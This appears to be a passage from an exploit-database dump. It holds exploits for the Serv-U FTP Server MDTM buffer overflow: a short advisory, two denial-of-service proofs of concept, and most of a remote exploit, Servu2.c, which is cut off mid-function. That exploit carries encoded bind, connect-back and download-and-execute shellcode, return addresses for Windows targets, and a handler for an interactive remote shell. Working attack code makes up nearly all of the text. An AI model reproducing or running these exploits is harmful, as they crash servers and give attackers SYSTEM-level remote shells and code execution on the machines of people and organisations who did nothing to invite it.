        if((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0) {
                perror("socket()");
                exit(-1);
        }

        /* fill in address struct. */
        dest.sin_family = AF_INET;
        dest.sin_port = htons(atoi(argv[2]));
        dest.sin_addr = *((struct in_addr *)he->h_addr);

        printf("Serv-U 'MDTM' buffer overflow DoS exploit.\n");
        printf("by shaun2k2 - <shaunige@yahoo.co.uk>.\n\n");

        printf("Crafting exploit buffer...\n\n");
        /* craft exploit buffers. */
        memset(bigbuf, 'a', 6000);
        sprintf(loginbuf, "USER %s\n", argv[3]);
        sprintf(passwdbuf, "PASS %s\n", argv[4]);
        sprintf(explbuf, "MDTM 20031111111111+%s\r\n", bigbuf);


        printf("[+] Connecting...\n");
        if(connect(sock, (struct sockaddr *)&dest, sizeof(struct sockaddr)) < 0) {
                perror("connect()");
                exit(-1);
        }

        printf("[+] Connected!\n\n");

        printf("[+] Sending exploit buffers...\n");
        sleep(1); /* give the serv-u server time to sort itself out. */
        send(sock, loginbuf, strlen(loginbuf), 0);
        sleep(2); /* wait for 2 secs. */
        send(sock, passwdbuf, strlen(passwdbuf), 0);
        sleep(2); /* wait before sending large MDTM command. */
        send(sock, explbuf, strlen(explbuf), 0);
        sleep(1); /* wait before closing the socket. */
        printf("[+] Exploit buffer sent!\n\n");

        close(sock);

        printf("[+] Done!  Check if the Serv-U server has crashed.\n");

        return(0);
}

		

- 漏洞信息 (23762)

RhinoSoft Serv-U FTP Server 3/4/5 MDTM Command Time Argument Buffer Overflow Vulnerability (3) (EDBID:23762)
windows dos
2004-02-26 Verified
0 shaun2k2
N/A [点击下载]
source: http://www.securityfocus.com/bid/9751/info
  
Serv-U FTP Server has been reported prone to a remote stack based buffer overflow vulnerability when handling time zone arguments passed to the MDTM FTP command.
  
The problem exists due to insufficient bounds checking. Ultimately an attacker may leverage this issue to have arbitrary instructions executed in the context of the SYSTEM user.

/* serv-u-mdtm-expl.c - Serv-U "MDTM" buffer overflow
PoC DoS exploit.
 *
 * This program will send an overly large filename
parameter when calling
 * the Serv-U FTP MDTM command.  Although arbitrary
code execution is
 * possible upon successful execution of this
vulnerability, the vendor has
 * not yet released a patch, so releasing such an
exploit could be disastrous
 * in the hands of script kiddies.  I might release a
full exploit to the
 * public when a patch/fix is issued by the vendor of
Serv-U.  This PoC
 * exploit will simply crash the Serv-U server.
 *
 * This vulnerability was discovered by bkbll, you can
read his advisory on
 * the issue here:
<http://www.cnhonker.com/advisory/serv-u.mdtm.txt>
 *
 * This vulnerability requires a valid login and
password to exploit!  This
 * PoC does not check to see if you supplied a correct
login and password.
 *
 * I do not take responsibility for this code.
 *
 * -shaun2k2
 */

#include <stdio.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netdb.h>
#include <netinet/in.h>

int main(int argc, char *argv[]) {
        if(argc < 5) {
                printf("Serv-U 'MDTM' buffer overflow
DoS exploit.\n");
                printf("by shaun2k2 -
<shaunige@yahoo.co.uk>.\n\n");
                printf("Usage: %s <host> <port>
<login> <password>\n", argv[0]);
                exit(-1);
        }

        int sock;
        char *explbuf;
        char loginbuf[100];
        char passwdbuf[100];
        struct sockaddr_in dest;
        struct hostent *he;

        /* lookup IP address of supplied hostname. */
        if((he = gethostbyname(argv[1])) == NULL) {
                printf("Couldn't resolve %s!\n",
argv[1]);
                exit(-1);
        }

        /* create socket. */
        if((sock = socket(AF_INET, SOCK_STREAM, 0)) <
0) {
                perror("socket()");
                exit(-1);
        }

        /* fill in address struct. */
        dest.sin_family = AF_INET;
        dest.sin_port = htons(atoi(argv[2]));
        dest.sin_addr = *((struct in_addr
*)he->h_addr);

        printf("Serv-U 'MDTM' buffer overflow DoS
exploit.\n");
        printf("by shaun2k2 -
<shaunige@yahoo.co.uk>.\n\n");

        printf("Crafting exploit buffer...\n\n");
        /* craft exploit buffers. */
        sprintf(loginbuf, "USER %s\n", argv[3]);
        sprintf(passwdbuf, "PASS %s\n", argv[4]);
        explbuf = "MDTM
20031111111111+AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/test.txt";


        printf("[+] Connecting...\n");
        if(connect(sock, (struct sockaddr *)&dest,
sizeof(struct sockaddr)) < 0) {
                perror("connect()");
                exit(-1);
        }

        printf("[+] Connected!\n\n");

        printf("[+] Sending exploit buffers...\n");
        sleep(1); /* give the serv-u server time to
sort itself out. */
        send(sock, loginbuf, strlen(loginbuf), 0);
        sleep(2); /* wait for 2 secs. */
        send(sock, passwdbuf, strlen(passwdbuf), 0);
        sleep(2); /* wait before sending large MDTM
command. */
        send(sock, explbuf, strlen(explbuf), 0);
        sleep(1); /* wait before closing the socket.
*/
        printf("[+] Exploit buffer sent!\n\n");

        close(sock);

        printf("[+] Done!  Check if the Serv-U server
has crashed.\n");

        return(0);
}

		

- 漏洞信息 (23763)

RhinoSoft Serv-U FTP Server 3/4/5 MDTM Command Time Argument Buffer Overflow Vulnerability (4) (EDBID:23763)
windows remote
2004-02-26 Verified
0 lion
N/A [点击下载]
source: http://www.securityfocus.com/bid/9751/info
   
Serv-U FTP Server has been reported prone to a remote stack based buffer overflow vulnerability when handling time zone arguments passed to the MDTM FTP command.
   
The problem exists due to insufficient bounds checking. Ultimately an attacker may leverage this issue to have arbitrary instructions executed in the context of the SYSTEM user.

/*
*-----------------------------------------------------------------------
*
* Servu2.c - Serv-U FTPD 2.x/3.x/4.x/5.x "MDTM" Command
* Remote stack buffer overflow exploit
*
* Copyright (C) 2004 HUC All Rights Reserved.
*
* Author   : lion
*          : lion@cnhonker.net
*          : http://www.cnhonker.com
* Date     : 2004-01-07
* Update   : 2004-02-24 Who report this bug to Rhino??? Released v5.0.0.4 patched this bug.
*          : 2004-02-17 v7.0 Add Download url file and exec shellcode.
*          : 2004-02-04 v6.1 Modified to work with UNIX.
*          : 2004-02-01 v6.0 Change decode and target, change 'jmp(call) ebx' addr to 'pop,pop,ret' addr, can attack winXP and win2003 now.
*          : 2004-01-31 v5.0 Add msvcrt.dll jmp ebx addr, can use on CN/TW/EN/KR/other win2k SP4 if msvcrt.dll not changed.
*          : 2004-01-26 v4.2 Change attack target, 2.x to '>= 2.5i' and '<= 2.5h'.
*          : 2004-01-22 v4.1 Change connectback shellcode in one, change bind shellcode to rebind shellcode.
*          : 2004-01-13 v4.0 Can attack Serv-U 2.x.
*          : 2004-01-11 v3.1 Add "PORT" command, can penetrate through the firewall. (shport > 1024)
*          : 2004-01-09 v3.0 Put shellcode in file parameter, can attack Serv-U 4.1.0.12
*          : 2004-01-08 v2.0 Add connectback shellcode.
*          : 2004-01-07 v1.0 Can attack Serv-U v3.0.0.16 ~ v4.1.0.11
* Tested   : Windows 2000 Server EN/CN
*          :     + Serv-U v3.0.0.16 ~ v5.0.0.3
*          :     + Serv-U v2.5b, v2.5e, v2.5h, v2.5i, v2.5k
*          : Windows XP EN/CN
*          :     + Serv-U v4.x
* Notice   : *** Bug find by bkbll (bkbll@cnhonker.net) 2004-01-07 ***
*          : *** You need a valid account. include anonymous!!! ***
*          : *** This is a Public Version! ***
* Complie  :On Windows
*          :     cl Servu2.c
*          :On UNIX
*          :     gcc -o Servu2 Servu2.c -DUNIX
* Usage       :e:\>Servu2
*          :Serv-U FTPD 2.x/3.x/4.x/5.x remote overflow exploit V7.0 (2004-01-07)
*          :Bug find by bkbll (bkbll@cnhonker.net), Code by lion (lion@cnhonker.net)
*          :Welcome to HUC website http://www.cnhonker.com
*          :Usage:  Servu2  -i <ip> [Options]
*          :                -t      Show All Target Type.
*          :
*          :[Options:]
*          :        -i      Target IP                     Required
*          :        -t      Target Type                   Default: 0
*          :        -u      FTP Username                  Default: ftp
*          :        -p      FTP Password                  Default: ftp@ftp.com
*          :        -f      Port of the FTP Server        Default: 21
*          :        -s      Port of the Shell             Default: 53
*          :        -c      Connect back IP               For connectback shellcode
*          :        -d      Download the URL and Exec     Start with 'http://' or 'ftp://'
*------------------------------------------------------------------------
*/

#ifndef UNIX
#include <winsock2.h>
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>

#pragma comment(lib, "ws2_32")
#else
#define uint32_t DWORD
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <netinet/in.h>
#include <errno.h>

#define closesocket(val) close(val)
#define SOCKET unsigned int
#define SOCKADDR_IN struct sockaddr_in
#define BOOL unsigned int
#define TRUE 1
#define FALSE 0
#define INVALID_SOCKET -1
#define SOCKET_ERROR -1
#define USHORT unsigned int
#define Sleep usleep
#define __leave goto exit_try
#define _snprintf snprintf
typedef struct sockaddr* LPSOCKADDR;
#endif


#ifdef UNIX
int GetLastError()
{
    return errno;
}

int WSAGetLastError()
{
    return errno;
}
#endif

#define MAX_LEN            2048
#define    SEH_OFFSET         48-1
#define JMP_OVER        "\xeb\x06\xeb\x06"
#define    VERSION            "7.0"

// for rebind shellcode
#define BIND_OFFSET        113

// for connectback shellcode
#define PORT_OFFSET        95
#define IP_OFFSET        88

// default parameter
#define SHELLPORT        53
#define FTPPORT         21
#define DEFTYPE         0
#define DEFUSER            "ftp"
#define DEFPASS            "ftp@ftp.com"

// for Serv-U 2.x
#define READ_ADDR        "\x01\x01\xfd\x7f"
#define READ_OFFSET        5+14+12

struct
{
        DWORD   dwJMP;
        char    *szDescription;
}targets[] =
{
        {0x7801D07B,"Serv-U 3.x/4.x/5.x  ALL   2K         SP3/SP4"},    //msvcrt.dll pop,pop,ret addr
//      {0x78010394,"Serv-U 3.x/4.x/5.x  ALL   2K         SP4"},                //msvcrt.dll pop,pop,ret addr
        {0x77c22ca7,"Serv-U 3.x/4.x/5.x  ALL   XP         SP1"},                //msvcrt.dll pop,pop,ret addr

//      {0x7FFA1CB5,"Serv-U 3.x/4.x/5.x  CN    2K/XP/2K3  ALL"},                //pop,pop,ret addr for all CN win2000,winxp,win2003
        {0x7ffa1571,"Serv-U 3.x/4.x/5.x  CN    2K/XP/2K3  ALL"},                //pop,pop,ret addr for all CN win2000,winxp,win2003
        {0x7ffa1c1b,"Serv-U 3.x/4.x/5.x  EN    2K/XP/2K3  ALL"},                //pop,pop,ret addr for all EN win2000,winxp,win2003
        {0x7ffae617,"Serv-U 3.x/4.x/5.x  TW    2K/XP/2K3  ALL"},                //pop,pop,ret addr for all TW win2000,winxp,win2003
//      {0x7ffa2186,"Serv-U 3.x/4.x/5.x  TW    2K         ALL"},                //jmp ebx addr for all TW win2000
        {0x7ffa4a1b,"Serv-U 3.x/4.x/5.x  KR    2K         ALL"},                //jmp ebx addr for all KR win2000

        {0x7ffa4512,"Serv-U 2.x >= 2.5i  CN    2K/XP/2K3  ALL"},                //jmp esp addr for all CN win2000,winxp,win2003
        {0x7ffa4512,"Serv-U 2.x <= 2.5h  CN    2K/XP/2K3  ALL"},                //jmp esp addr for all CN win2000,winxp,win2003
        {0x7ffa24ce,"Serv-U 2.x >= 2.5i  TW    2K/XP/2K3  ALL"},                //jmp esp addr for all TW win2000,winxp,win2003
        {0x7ffa24ce,"Serv-U 2.x <= 2.5h  TW    2K/XP/2K3  ALL"},                //jmp esp addr for all TW win2000,winxp,win2003

        {0x7ffa82a4,"Serv-U 2.x >= 2.5i  KR    2K/XP/2K3  ALL"},                //call esp addr for all KR win2000,winxp,win2003
        {0x7ffa82a4,"Serv-U 2.x <= 2.5h  KR    2K/XP/2K3  ALL"},                //call esp addr for all KR win2000,winxp,win2003
        {0x778e71a3,"Serv-U 2.x >= 2.5i  EN    2K         SP4"},                //setupapi.dll jmp esp addr
        {0x778e71a3,"Serv-U 2.x <= 2.5h  EN    2K         SP4"},                //setupapi.dll jmp esp addr

//      {0x7802ba77,"Serv-U test"},
},v;


unsigned char    *szSend[4];
unsigned char    szCommand[MAX_LEN];

// 28 bytes decode by lion for overwrite eip, don't change this.
unsigned char decode[]=
"\xBE\x6D\x69\x6F\x6E\x4E\xBF\x6D\x69\x30\x6E\x4F\x43\x39\x3B\x75"
"\xFB\x4B\x80\x33\x99\x39\x73\xFC\x75\xF7\xFF\xD3";

// 31 bytes decode by lion for overwrite SEH, don't change this.
unsigned char decode2[]=
"\x5E\x5F\x5B\xBE\x6D\x69\x6F\x6E\x4E\xBF\x6D\x69\x30\x6E\x4F\x43"
"\x39\x3B\x75\xFB\x4B\x80\x33\x99\x39\x73\xFC\x75\xF7\xFF\xD3";


// Shellcode start sign, use for decode, don't change this.
unsigned char sc_start[]=
"lion";

// Shellcode end sign, use for decode, don't change this.
unsigned char sc_end[]=
"li0n";

// 344 bytes rebind shellcode by lion for Serv-U (xor with 0x99)
unsigned char sc[]=
"\x70\xBB\x98\x99\x99\xC6\xFD\x38\xA9\x99\x99\x99\x12\xD9\x95\x12"
"\xE9\x85\x34\x12\xF1\x91\x12\x6E\xF3\x9D\xC0\x71\x5B\x99\x99\x99"
"\x7B\x60\xF1\xAA\xAB\x99\x99\xF1\xEE\xEA\xAB\xC6\xCD\x66\x8F\x12"
"\x71\xF3\x9E\xC0\x71\x30\x99\x99\x99\x7B\x60\x18\x75\x09\x98\x99"
"\x99\xCD\xF1\x98\x98\x99\x99\x66\xCF\x89\xC9\xC9\xC9\xC9\xF3\x98"
"\xF3\x9B\x66\xCF\x8D\x12\x41\x5E\x9E\x98\x99\x99\x99\xF3\x9D\x14"
"\x8E\xCB\xF3\x9D\xF1\x66\x66\x99\x99\xCA\x66\xCF\x81\x5E\x9E\x9B"
"\x99\x99\xAC\x10\xDE\x9D\xF3\x89\xCE\xCA\x66\xCF\x85\xF3\x98\xCA"
"\x66\xCF\xB9\xC9\xC9\xCA\x66\xCF\xBD\x12\x41\xAA\x59\xF1\xFA\xF4"
"\xFD\x99\x10\xFF\xA9\x1A\x75\xCD\x12\x65\xF3\x8D\xC0\x10\x9D\x16"
"\x7B\x62\x5F\xDE\x89\xDD\x67\xDE\xA5\x67\xDE\xA4\x10\xC6\xD1\x10"
"\xC6\xD5\x10\xC6\xC9\x14\xDD\xBD\x89\xCE\xC9\xC8\xC8\xC8\xF3\x98"
"\xC8\xC8\x66\xEF\xA9\xC8\x66\xCF\x9D\x12\x55\xF3\x66\x66\xA8\x66"
"\xCF\x91\x72\x9E\x09\x09\x09\x09\x09\x09\x09\xCA\x66\xCF\xB1\x66"
"\xCF\x95\xC8\xCF\x12\xEC\xA5\x12\xED\xB7\xE1\x9A\x6C\xCF\x12\xEF"
"\xB9\x9A\x6C\xAA\x50\xD0\xD8\x34\x9A\x5C\xAA\x42\x96\x27\x89\xA3"
"\x4F\xED\x91\x58\x52\x94\x9A\x43\xD9\x72\x68\xA2\x86\xEC\x7E\xC7"
"\x12\xC7\xBD\x9A\x44\xFF\x12\x95\xD2\x12\xC7\x85\x9A\x44\x12\x9D"
"\x12\x9A\x5C\x32\xC7\xC0\x5A\x71\x40\x67\x66\x66\x17\xD7\x97\x75"
"\xEB\x67\x2A\x8F\x34\x40\x9C\x57\xE7\x41\x7B\xEA\x52\x74\x65\xA2"
"\x40\x90\x6C\x34\x75\x6B\xCC\x59\x3D\x83\xE9\x5E\x3D\x34\xB7\x70"
"\x7C\xD0\x1F\xD0\x7E\xE0\x5F\xE0";

// 304 bytes connectback shellcode by lion for Serv-U (xor with 0x99)
unsigned char cbsc[]=
"\x70\x9C\x98\x99\x99\xC6\xFD\x38\xA9\x99\x99\x99\x12\xD9\x95\x12"
"\xE9\x85\x34\x12\xF1\x91\x12\x6E\xF3\x9D\xC0\x71\x05\x99\x99\x99"
"\x7B\x60\xF1\xAA\xAB\x99\x99\xF1\xEE\xEA\xAB\xC6\xCD\x66\x8F\x12"
"\x71\xF3\x9D\xC0\x71\x1A\x99\x99\x99\x7B\x60\x18\x75\x09\x98\x99"
"\x99\xCD\xF1\x98\x98\x99\x99\x66\xCF\x89\xC9\xC9\xC9\xC9\xF3\x98"
"\xF3\x9B\x66\xCF\x8D\x12\x41\xF1\xE6\x99\x99\x98\xF1\x9B\x99\x99"
"\xAC\x12\x55\xF3\x89\xC8\xCA\x66\xCF\x81\x1C\x59\xEC\xD2\xAA\x59"
"\xF1\xFA\xF4\xFD\x99\x10\xFF\xA9\x1A\x75\xCD\x12\x65\xF3\x89\xC0"
"\x10\x9D\x16\x7B\x62\x5F\xDE\x89\xDD\x67\xDE\xA5\x67\xDE\xA4\x10"
"\xC6\xD1\x10\xC6\xD5\x10\xC6\xC9\x14\xDD\xBD\x89\xCE\xC9\xC8\xC8"
"\xC8\xF3\x98\xC8\xC8\x66\xEF\xA9\xC8\x66\xCF\x9D\x12\x55\xF3\x66"
"\x66\xA8\x66\xCF\x91\xCA\x66\xCF\x85\x66\xCF\x95\xC8\xCF\x12\xEC"
"\xA5\x12\xED\xB7\xE1\x9A\x6C\xCF\x12\xEF\xB9\x9A\x6C\x72\x9E\x09"
"\x09\x09\x09\x09\x09\x09\xAA\x50\xD0\xD8\x34\x9A\x5C\xAA\x42\x96"
"\x27\x89\xA3\x4F\xED\x91\x58\x52\x94\x9A\x43\xD9\x72\x68\xA2\x86"
"\xEC\x7E\xC7\x12\xC7\xBD\x9A\x44\xFF\x12\x95\xD2\x12\xC7\x85\x9A"
"\x44\x12\x9D\x12\x9A\x5C\x32\xC7\xC0\x5A\x71\x6F\x67\x66\x66\x17"
"\xD7\x97\x75\xEB\x67\x2A\x8F\x34\x40\x9C\x57\xE7\x41\x7B\xEA\x52"
"\x74\x65\xA2\x40\x90\x6C\x34\x75\x60\x33\xF9\x7E\xE0\x5F\xE0\x99";

// 194 bytes download url file and exec shellcode by lion (xor with 0x99)
// Tested on Serv-U 3.x/4.x/5.x
unsigned char dusc[]=
"\x70\x3D\x99\x99\x99\xC6\xFD\x38\xA9\x99\x99\x99\x12\xD9\x95\x12"
"\xE9\x85\x34\x12\xF1\x91\x12\x6E\xF3\x9D\xC0\x71\xDD\x99\x99\x99"
"\x7B\x60\xF1\xF6\xF7\x99\x99\xF1\xEC\xEB\xF5\xF4\xCD\x66\x8F\x12"
"\x71\x71\xB7\x99\x99\x99\x1A\x75\xB9\x12\x45\xF3\xB9\xCA\x66\xCF"
"\x9D\x5E\x9D\x9A\xC5\xF8\xB7\xFC\x5E\xDD\x9A\x9D\xE1\xFC\x99\x99"
"\xAA\x59\xC9\xC9\xCA\xCE\xC9\x66\xCF\x89\x12\x45\xC9\xCA\x66\xCF"
"\x91\x66\xCF\x95\xC8\xCF\x12\xEC\xA5\x12\xED\xB7\xE1\x9A\x6C\xCF"
"\x12\xEF\xB9\x9A\x6C\xAA\x50\xD0\xD8\x34\x9A\x5C\xAA\x42\x96\x27"
"\x89\xA3\x4F\xED\x91\x58\x52\x94\x9A\x43\xD9\x72\x68\xA2\x86\xEC"
"\x7E\xC7\x12\xC7\xBD\x9A\x44\xFF\x12\x95\xD2\x12\xC7\x85\x9A\x44"
"\x12\x9D\x12\x9A\x5C\x32\xC7\xC0\x5A\x71\xCE\x66\x66\x66\x17\xD7"
"\x97\x75\x58\xE0\x7C\x21\x01\x67\x13\x97\xE7\x41\x7B\xEA\xAF\x83"
"\xB6\xE9";

// exec file url addr for download url file and exec shellcode
unsigned char downloadurl[255]= "";


void showtype()
{
    int i;
//    usage(p);
    printf( "[Type]:\n");
    for(i=0;i<sizeof(targets)/sizeof(v);i++)
    {
        printf("\t%d\t0x%x\t%s\n", i, targets[i].dwJMP, targets[i].szDescription);
    }
}

void usage(char *p)
{
    printf( "Usage:\t%s\t-i <ip> [Options]\n"
        "\t\t-t\tShow All Target Type.\n\n"
        "[Options:]\n"
        "\t-i\tTarget IP                     Required\n"
        "\t-t\tTarget Type                   Default: %d\n"
        "\t-u\tFTP Username                  Default: %s\n"
        "\t-p\tFTP Password                  Default: %s\n"
        "\t-f\tPort of the FTP Server        Default: %d\n"
        "\t-s\tPort of the Shell             Default: %d\n"
        "\t-c\tConnect back IP               For connectback shellcode\n"
        "\t-d\tDownload the URL and Exec     Start with 'http://' or 'ftp://'\n\n"
        , p, DEFTYPE, DEFUSER, DEFPASS, FTPPORT, SHELLPORT);    

    //showtype();
}

/* ripped from TESO code and modifed by ey4s for win32 */
void shell (int sock)
{
    int     l;
    char    buf[512];
    struct    timeval time;
    unsigned long    ul[2];

    time.tv_sec = 1;
    time.tv_usec = 0;

    while (1)
    {
        ul[0] = 1;
        ul[1] = sock;

        l = select (0, (fd_set *)&ul, NULL, NULL, &time);
        if(l == 1)
        {
            l = recv (sock, buf, sizeof (buf), 0);
            if (l <= 0)
            {
                printf ("[-] Connection closed.\n");
                return;
            }
            l = write (1, buf, l);
            if (l <= 0)
            {
                printf ("[-] Connection closed.\n");
                return;
            }
        }
        else
        {
            l = read (0, buf, sizeof (buf));
            if (l <= 0)
            {
                printf("[-] Connection closed.\n");
                return;
            }
            l = send(sock, buf, l, 0);
            if (l <= 0)
            {
                printf("[-] Connection closed.\n");
                return;
            }
        }
    }
}

int main(int argc, char **argv)
{
    struct    sockaddr_in sa, server, client;
#ifndef UNIX
    WSADATA    wsd;
#endif
    SOCKET    s, s2, s3;
    int    iErr, ret, len;
    char    szRecvBuff[MAX_LEN];
    int    i,j;
    int    iType =DEFTYPE, iPort=FTPPORT;
    char    *ip=NULL, *pUser=DEFUSER, *pPass=DEFPASS, *cbHost=NULL, *url;
    char    user[128], pass[128];
    BOOL    bCb=FALSE,bUrl=FALSE, bLocal=TRUE, b2x=FALSE;
    unsigned short    shport=SHELLPORT, shport2=0;
    unsigned long    cbip;
    unsigned int    timeout=5000, Reuse;
    char    penetrate[255],cbHost2[20];
    
    printf( "Serv-U FTPD 2.x/3.x/4.x/5.x remote overflow exploit V%s (2004-01-07)\r\n"
        "Bug find by bkbll (bkbll@cnhonker.net), Code by lion (lion@cnhonker.net)\r\n"
        "Welcome to HUC website http://www.cnhonker.com\r\n\n"
             , VERSION);

    if(argc < 2)
    {
        usage(argv[0]);
        return 1;
    }
    else if(argc == 2 && argv[1][1] == 't')
    {
        showtype();
        return 1;
    }

    for(i=1;i<argc;i+=2)
    {
        if(strlen(argv[i]) != 2)
        {
            usage(argv[0]);
            return -1;
        }
        // check parameter
        if(i == argc-1)
        {
            usage(argv[0]);
            return -1;
        }
        switch(argv[i][1])
        {
            case 'i':
                ip=argv[i+1];
                break;
            case 't':
                iType = atoi(argv[i+1]);
                break;
            case 'f':
                iPort=atoi(argv[i+1]);
                break;
            case 'p':
                pPass = argv[i+1];
                break;
            case 'u':
                pUser=argv[i+1];
                break;
            case 's':
                shport=atoi(argv[i+1]);
                break;
            case 'c':
                cbHost=argv[i+1];
                bCb=TRUE;
                break;
            case 'd':
                url = argv[i+1];
                bUrl=TRUE;
                break;
                
        }
    }

    if((!ip) || (!user) || (!pass))
    {
        usage(argv[0]);
        printf("[-] Invalid parameter.\n");
        return -1;
    }

    if( (iType<0) || (iType>=sizeof(targets)/sizeof(v)) )
    {
        usage(argv[0]);
        printf("[-] Invalid type.\n");
        return -1;
    }

    if(iPort <1 || iPort >65535 || shport <1 || shport > 65535)
    {
        usage(argv[0]);
        printf("[-] Invalid port.\n");
        return -1;
    }

    if(bUrl)
    {
        if( (!strstr(url, "http://") &&  !strstr(url, "ftp://")) || strlen(url) < 10 || strlen(url) > 255)
        {
            usage(argv[0]);
            printf("[-] Invalid url. Must start with 'http://','ftp://' and <255 bytes.\n");
            return -1;                
        }
    }
    
    if(strstr(targets[iType].szDescription, "2.x"))
    {
        b2x = TRUE;
        printf("[*] Attack Target is Serv-U 2.x.\r\n");
    }
    else
    {
        printf("[*] Attack Target is Serv-U 3.x/4.x/5.x.\r\n");
    }
    
    _snprintf(user, sizeof(user)-1, "USER %s\r\n", pUser);
    user[sizeof(user)-1]='\0';
    _snprintf(pass, sizeof(pass)-1, "PASS %s\r\n", pPass);
    pass[sizeof(pass)-1]='\0';
    szSend[0] = user;    //user
    szSend[1] = pass;    //pass    
    szSend[2] = penetrate;    //pentrate
    szSend[3] = szCommand;    //shellcode
    
    // Penetrate through the firewall.
    if(bCb && shport > 1024)
    {
        strncpy(cbHost2, cbHost, 20);
        for(i=0;i<strlen(cbHost); i++)
        {
            if(cbHost[i] == '.')
                cbHost2[i] = ',';
        }
        
        sprintf(penetrate, "PORT %s,%d,%d\r\n", cbHost2, shport/256, shport%256);

        //printf("%s", penetrate);
    }
    else
    {
        sprintf(penetrate,"TYPE I\r\n");        
    }

    // fill the "MDTM" command
    strcpy(szCommand, "MDTM 20031111111111+");

    // fill the egg
    for(i=0; i<SEH_OFFSET; i++)
    {
        strcat(szCommand, "\x90");
    }

    // ret addr
    if(b2x)
    {

        // fill the egg
        if(strstr(targets[iType].szDescription, "<"))
        {
            j = 8;
        }
        else
        {
            j = 4;
        }
        for(i=0; i<j; i++)
        {
            strcat(szCommand, "\x90");
        }
        
        memcpy(&szCommand[strlen(szCommand)], &targets[iType].dwJMP, 4);
        
        memcpy(&szCommand[READ_OFFSET], &READ_ADDR, 4);
        
        // fill the decode
        strcat(szCommand, decode);
    }
    else
    {
        
        // fill the seh
        for(i=0; i<0x10*1; i+=8)
        //for(i=0; i<1; i++)
        {
            memcpy(&szCommand[strlen(szCommand)], &JMP_OVER, 4);
            memcpy(&szCommand[strlen(szCommand)], &targets[iType].dwJMP, 4);
        }
    
        // fill the decode
        strcat(szCommand, decode2);    
    }

    // fill the space
    strcat(szCommand, " ");

    // fill the egg
    for(i=0; i<0x10; i++)
    {
        strcat(szCommand, "\x90");
    }

    // fill the shellcode start sign
    strcat(szCommand, sc_start);

    // fill the shellcode
       if(bCb)
    {
        // connectback shellcode
        shport2 = htons(shport)^(u_short)0x9999;
        cbip = inet_addr(cbHost)^0x99999999;
        memcpy(&cbsc[PORT_OFFSET], &shport2, 2);
        memcpy(&cbsc[IP_OFFSET], &cbip, 4);
        strcat(szCommand, cbsc);        
    }
    else
    if(bUrl)
    {
        memset(downloadurl, 0, sizeof(downloadurl));

        // download url exec shellcode
        for(i=0;i<strlen(url);i++)
        {
            downloadurl[i] = url[i] ^ 0x99;
        }
        
        downloadurl[i] ^= 0x99;
        strcat(szCommand, dusc);
        strcat(szCommand, downloadurl);        
    }
       else
    {
        // rebind shellcode
        shport2 = htons(shport)^(u_short)0x9999;
        memcpy(&sc[BIND_OFFSET], &shport2, 2);
        strcat(szCommand, sc);
    }

    // fill the shellcode end sign
    strcat(szCommand, sc_end);

    // send end
    strcat(szCommand, "\r\n");

    if(strlen(szCommand) >= sizeof(szCommand))
    {
        printf("[-] stack buffer overflow.\n");
        return -1;
    }
    
    //printf("send size %d:%s", strlen(szCommand), szCommand);
    //printf("buffsize %d\r\n", strlen(szCommand)-5-2);
    
#ifndef UNIX
    __try
#endif
    {

#ifndef UNIX
        if (WSAStartup(MAKEWORD(1,1), &wsd) != 0)
        {
            printf("[-] WSAStartup error:%d\n", WSAGetLastError());
            __leave;
        }
#endif
        s=socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
        if(s == INVALID_SOCKET)
        {
            printf("[-] Create socket failed:%d",GetLastError());
            __leave;
        }

        sa.sin_family=AF_INET;
        sa.sin_port=htons((USHORT)iPort);

#ifndef UNIX
        sa.sin_addr.S_un.S_addr=inet_addr(ip);
#else
        sa.sin_addr.s_addr=inet_addr(ip);
#endif
        setsockopt(s,SOL_SOCKET,SO_RCVTIMEO,(char *)&timeout,sizeof(unsigned int));
        iErr = connect(s,(struct sockaddr *)&sa,sizeof(sa));
        if(iErr == SOCKET_ERROR)
        {
            printf("[-] Connect to %s:%d error:%d\n", ip, iPort, GetLastError());
            __leave;
        }
        printf("[+] Connect to %s:%d success.\n", ip, iPort);
        
        if(bCb)
        {
            Sleep(500);
            s2 = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);

            server.sin_family=AF_INET;

#ifndef UNIX
            server.sin_addr.S_un.S_addr=inet_addr(cbHost);
            //server.sin_addr.s_addr=INADDR_ANY;
#else
            server.sin_addr.s_addr=inet_addr(cbHost);
#endif            
            
            server.sin_port=htons((unsigned short)shport);

            setsockopt(s2,SOL_SOCKET,SO_RCVTIMEO,(char *)&timeout,sizeof(unsigned int));

            Reuse = 1;
            setsockopt(s2, SOL_SOCKET, SO_REUSEADDR, (char*)&Reuse, sizeof(Reuse));

            if(bind(s2,(LPSOCKADDR)&server,sizeof(server))==SOCKET_ERROR)
            {
                printf("[-] Bind port on %s:%d error.\n", cbHost, shport);
                printf("[-] You must run nc get the shell.\n");
                bLocal = FALSE;
                //closesocket(s2);
                //__leave;
            }
            else
            {    
                printf("[+] Bind port on %s:%d success.\n", cbHost, shport);
                listen(s2, 1);
            }
        }
        
        for(i=0;i<sizeof(szSend)/sizeof(szSend[0]);i++)
        {
            memset(szRecvBuff, 0, sizeof(szRecvBuff));
            iErr = recv(s, szRecvBuff, sizeof(szRecvBuff), 0);
            if(iErr == SOCKET_ERROR)
            {
                printf("[-] Recv buffer error:%d.\n", WSAGetLastError());
                __leave;
            }
            printf("[+] Recv: %s", szRecvBuff);
            
            if(szRecvBuff[0] == '5')
            {
                printf("[-] Server return a error Message.\r\n");
                __leave;
            }

            iErr = send(s, szSend[i], strlen(szSend[i]),0);
            if(iErr == SOCKET_ERROR)
            {
                printf("[-] Send buffer error:%d.\n", WSAGetLastError());
                __leave;
            }

            if(i==sizeof(szSend)/sizeof(szSend[0])-1)
                printf("[+] Send shellcode %d bytes.\n", iErr);
            else
                printf("[+] Send: %s", szSend[i]);
        }

        if(bUrl)
        {
            printf("[+] Target Download the file and exec: %s\r\n", url);
            printf("[+] Success? Maybe!\r\n");
        }
        else
        {
            printf("[+] If you don't have a shell it didn't work.\n");

            if(bCb)
            {
                if(bLocal)
                {
                    printf("[+] Wait for shell...\n");
            
                    len = sizeof(client);
                    s3 = accept(s2, (struct sockaddr*)&client, &len);
                    if(s3 != INVALID_SOCKET)
                    {
                        printf("[+] Exploit success! Good luck! :)\n");
